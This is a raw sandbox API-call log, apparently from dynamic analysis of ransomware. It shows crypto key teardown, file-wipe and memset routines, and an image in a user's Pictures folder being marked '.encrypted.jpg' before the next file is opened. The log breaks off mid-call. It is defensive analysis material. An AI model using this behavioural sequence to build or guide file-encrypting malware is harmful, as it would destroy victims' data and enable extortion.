0x13 [0027.972] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0027.972] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0027.972] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.972] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0027.972] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0027.972] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.972] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.972] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.974] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.974] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.974] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.975] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.975] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.975] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0027.975] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0027.975] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.975] PeekMessageW (in: lpMsg=0xe8f3dfe0f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe0f0) returned 0 [0027.975] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.975] CryptDestroyKey (hKey=0xe8f40624f0) returned 1 [0027.975] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0027.975] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0027.975] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0027.975] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0027.975] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0027.975] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0027.975] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0027.975] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0027.975] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0027.975] PeekMessageW (in: lpMsg=0xe8f3dfe060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe060) returned 0 [0027.975] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0027.975] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0027.975] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0027.975] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0027.975] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.975] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0027.976] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.976] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0027.976] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0027.976] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0027.976] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.976] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0027.976] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0027.976] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.976] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.976] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0027.976] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0027.976] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0027.976] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.976] CryptReleaseContext (hProv=0xe8f406a550, dwFlags=0x0) returned 1 [0027.976] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.976] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.976] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0027.976] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.976] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.976] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.976] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.977] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.978] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.978] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0027.978] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.978] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.978] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.978] CharLowerBuffW (in: lpsz="byte[38994]", cchLength=0xb | out: lpsz="byte[38994]") returned 0xb [0027.978] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.978] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0027.978] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.978] CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0027.978] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.978] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.978] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.978] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0027.978] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.978] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.978] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.978] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.979] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.979] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.979] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.979] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.979] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.979] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.979] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.979] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.979] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.979] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.979] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.979] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.979] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0027.979] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.979] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.979] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.979] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0027.979] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.986] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.987] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.987] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.987] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.987] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.987] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0027.987] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.987] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.987] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.987] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.987] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.988] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.988] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.988] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0027.988] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0027.988] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0027.988] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0027.989] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0027.989] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0027.989] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0027.989] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff0c0*=8186) returned 1 [0027.989] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0027.989] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0027.989] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0027.989] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x1ffa, lpOverlapped=0x0) returned 1 [0027.989] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0027.989] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x1ffa, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0027.989] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=8186) returned 1 [0027.989] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\NQGbwm2X9UGI8JmJW700\\1NOjs0ZZ_yk9Vps.encrypted.jpg\r\n", cchWideChar=88, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 88 [0027.989] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\NQGbwm2X9UGI8JmJW700\\1NOjs0ZZ_yk9Vps.encrypted.jpg\r\n", cchWideChar=88, lpMultiByteStr=0xe8f406a130, cbMultiByte=88, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\NQGbwm2X9UGI8JmJW700\\1NOjs0ZZ_yk9Vps.encrypted.jpg\r\n", lpUsedDefaultChar=0x0) returned 88 [0027.990] WriteFile (in: hFile=0x1fc, lpBuffer=0xe8f4062330*, nNumberOfBytesToWrite=0x57, lpNumberOfBytesWritten=0xe8f3dff0c0, lpOverlapped=0x0 | out: lpBuffer=0xe8f4062330*, lpNumberOfBytesWritten=0xe8f3dff0c0*=0x57, lpOverlapped=0x0) returned 1 [0027.990] CloseHandle (hObject=0x1fc) returned 1 [0027.991] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.991] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.992] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0027.992] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0027.992] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0027.992] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0027.992] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0027.993] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0027.993] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0027.993] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0027.993] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0xe8f41786a0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFile", lpUsedDefaultChar=0x0) returned 11 [0027.993] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFile") returned 0x0 [0027.993] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0027.993] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0xe8f4178a40, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFileA", lpUsedDefaultChar=0x0) returned 12 [0027.994] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFileA") returned 0x7ffe2a643194 [0027.994] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\NQGbwm2X9UGI8JmJW700\\a3R9P4wd Zju.bmp", cchWideChar=73, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 73 [0027.994] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\NQGbwm2X9UGI8JmJW700\\a3R9P4wd Zju.bmp", cchWideChar=73, lpMultiByteStr=0xe8f4069bf0, cbMultiByte=73, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\NQGbwm2X9UGI8JmJW700\\a3R9P4wd Zju.bmp", lpUsedDefaultChar=0x0) returned 73 [0027.994] CreateFileA (lpFileName="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\NQGbwm2X9UGI8JmJW700\\a3R9P4wd Zju.bmp" (normalized: 